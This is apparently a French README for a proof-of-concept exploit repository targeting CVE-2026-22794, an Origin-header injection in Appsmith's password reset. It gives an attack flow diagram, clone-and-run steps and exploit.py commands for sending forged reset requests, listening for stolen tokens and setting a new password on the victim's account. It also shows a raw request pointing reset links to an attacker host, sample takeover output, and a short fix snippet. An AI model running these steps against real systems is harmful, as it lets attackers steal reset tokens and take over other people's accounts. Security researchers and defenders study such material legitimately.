
🔴 CVE-2026-22794 - Appsmith Réinitialisation de mot de passe et prise de contrôle de compte via injection d'en-tête Origin | PoC Exploit + Modèle Nuclei
Détournement de lien de réinitialisation de mot de passe via manipulation de l'en-tête Origin
Ce dépôt contient une preuve de concept (PoC) pour CVE-2026-22794, une vulnérabilité critique dans Appsmith qui permet aux attaquants de détourner les jetons de réinitialisation de mot de passe et de prendre le contrôle total d'un compte.
| Champ | Valeur |
|---|
| ID CVE | CVE-2026-22794 |
| Logiciel concerné | Appsmith (versions antérieures au correctif) |
| Type de vulnérabilité | Injection d'en-tête Origin |
| Impact | Prise de contrôle totale du compte |
| Score CVSS | 9.1 (Critique) |
| Vecteur d'attaque | Réseau |
| Complexité de l'attaque | Faible |
| Privilèges requis | Aucun |
| Interaction utilisateur | Requise (la victime clique sur le lien) |
Appsmith utilise l'en-tête HTTP Origin sans validation pour construire les URL de réinitialisation de mot de passe et de vérification d'e-mail. Le code vulnérable attribue directement l'en-tête Origin à l'URL de base de réinitialisation du mot de passe :
userPasswordDTO.setBaseUrl(originHeader);
Cela permet à un attaquant de :
┌─────────────────────────────────────────────────────────────────┐
│ FLUX D'ATTAQUE │
└─────────────────────────────────────────────────────────────────┘
┌──────────┐ ┌──────────┐ ┌──────────┐
│ ATTAQUANT│ │ APPSMITH │ │ VICTIME │
└────┬─────┘ └────┬─────┘ └────┬─────┘
│ │ │
│ 1. POST /forgotPassword │ │
│ Origin: attacker.com │ │
│ email: [email protected] │ │
│──────────────────────────────>│ │
│ │ │
│ │ 2. Envoi d'un e-mail avec │
│ │ attacker.com/reset?token │
│ │──────────────────────────────>│
│ │ │
│ 3. La victime clique sur le lien │ │
│<──────────────────────────────────────────────────────────────│
│ │ │
│ 4. Jeton capturé ! │ │
│ │ │
│ 5. POST /resetPassword │ │
│ token: STOLEN_TOKEN │ │
│ password: attacker123 │ │
│──────────────────────────────>│ │
│ │ │
│ 6. PRISE DE CONTRÔLE DU COMPTE ! ✓ │
│ │ │
# Cloner le dépôt
git clone https://github.com/MalikHamza7/CVE-2026-22794-POC
cd CVE-2026-22794-POC
# Installer les dépendances
pip install -r requirements.txt
python exploit.py --target https://appsmith.target.com --check
python exploit.py --listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com \
--listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--reset-token CAPTURED_TOKEN \
--new-password "NewP@ssw0rd!"
POST /api/v1/users/forgotPassword HTTP/1.1
Host: appsmith.target.com
Origin: https://attacker-server.com
Content-Type: application/json
{
"email": "[email protected]"
}
Lien de réinitialisation du mot de passe : https://attacker-server.com/user/resetPassword?token=abc123xyz...
[+] DEMANDE ENTRANTE CAPTURÉE !
[*] Chemin : /user/resetPassword?token=abc123xyz789...
[!!!] JETON DE RÉINITIALISATION DE MOT DE PASSE CAPTURÉ !
[!!!] Jeton : abc123xyz789...
[+] PRISE DE CONTRÔLE DU COMPTE RÉUSSIE !
[+] Le mot de passe a été réinitialisé à : NewP@ssw0rd!
Les organisations utilisant Appsmith devraient :
// ❌ CODE VULNÉRABLE
userPasswordDTO.setBaseUrl(originHeader);
// ✅ CODE SÉCURISÉ
String configuredBaseUrl = applicationConfiguration.getBaseUrl();
// Ou valider par rapport à la liste blanche
if (!allowedOrigins.contains(originHeader)) {
throw new InvalidOriginException("En-tête Origin invalide");
}
userPasswordDTO.setBaseUrl(configuredBaseUrl);
CVE-2026-22794/
├── README.md # Ce fichier
├── exploit.py # Script d'exploitation principal
├── requirements.txt # Dépendances Python
├── LICENSE # Licence MIT
└── docs/
└── technical_analysis.md # Analyse technique détaillée de la vulnérabilité
Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et à des fins éducatives.
Chercheur en sécurité
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
⭐ Si vous avez trouvé cela utile, veuillez mettre une étoile sur le dépôt ! ⭐